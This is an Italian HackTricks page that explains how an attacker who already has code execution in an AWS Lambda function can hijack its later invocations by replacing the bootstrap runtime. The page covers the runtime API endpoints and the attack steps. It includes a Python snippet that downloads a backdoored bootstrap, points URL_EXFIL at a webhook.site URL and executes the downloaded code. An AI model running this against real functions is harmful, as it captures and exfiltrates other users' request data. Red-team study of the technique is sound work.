AWS - Rubare le Richieste Lambda
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Flusso Lambda
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer è un processo esterno al contenitore che invia invocazioni al processo init.
- Il processo init ascolta sulla porta 9001 esponendo alcuni endpoint interessanti:
/2018-06-01/runtime/invocation/next
– ottieni il prossimo evento di invocazione/2018-06-01/runtime/invocation/{invoke-id}/response
– restituisci la risposta del gestore per l'invocazione/2018-06-01/runtime/invocation/{invoke-id}/error
– restituisci un errore di esecuzione
- bootstrap.py ha un ciclo che ottiene le invocazioni dal processo init e chiama il codice dell'utente per gestirle (
/next
). - Infine, bootstrap.py invia al init la risposta
Nota che bootstrap carica il codice dell'utente come un modulo, quindi qualsiasi esecuzione di codice effettuata dal codice dell'utente avviene effettivamente in questo processo.
Rubare le Richieste Lambda
L'obiettivo di questo attacco è far eseguire al codice dell'utente un processo bootstrap.py
malevolo all'interno del processo bootstrap.py
che gestisce la richiesta vulnerabile. In questo modo, il processo bootstrap malevolo inizierà a comunicare con il processo init per gestire le richieste mentre il bootstrap legittimo è intrappolato a eseguire quello malevolo, quindi non chiederà richieste al processo init.
Questo è un compito semplice da raggiungere poiché il codice dell'utente viene eseguito dal legittimo processo bootstrap.py
. Quindi l'attaccante potrebbe:
- Inviare un risultato falso dell'invocazione corrente al processo init, in modo che init pensi che il processo bootstrap stia aspettando ulteriori invocazioni.
- Deve essere inviata una richiesta a
/${invoke-id}/response
- L'invoke-id può essere ottenuto dallo stack del legittimo processo
bootstrap.py
utilizzando il modulo python inspect (come proposto qui) o semplicemente richiedendolo di nuovo a/2018-06-01/runtime/invocation/next
(come proposto qui). - Eseguire un
boostrap.py
malevolo che gestirà le prossime invocazioni - Per motivi di furtività, è possibile inviare i parametri delle invocazioni lambda a un C2 controllato dall'attaccante e poi gestire le richieste come al solito.
- Per questo attacco, è sufficiente ottenere il codice originale di
bootstrap.py
dal sistema o da github, aggiungere il codice malevolo ed eseguirlo dall'attuale invocazione lambda.
Passi dell'Attacco
- Trovare una vulnerabilità RCE.
- Generare un bootstrap malevolo (ad es. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- Eseguire il bootstrap malevolo.
Puoi facilmente eseguire queste azioni eseguendo:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Per ulteriori informazioni controlla https://github.com/carlospolop/lambda_bootstrap_switcher
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.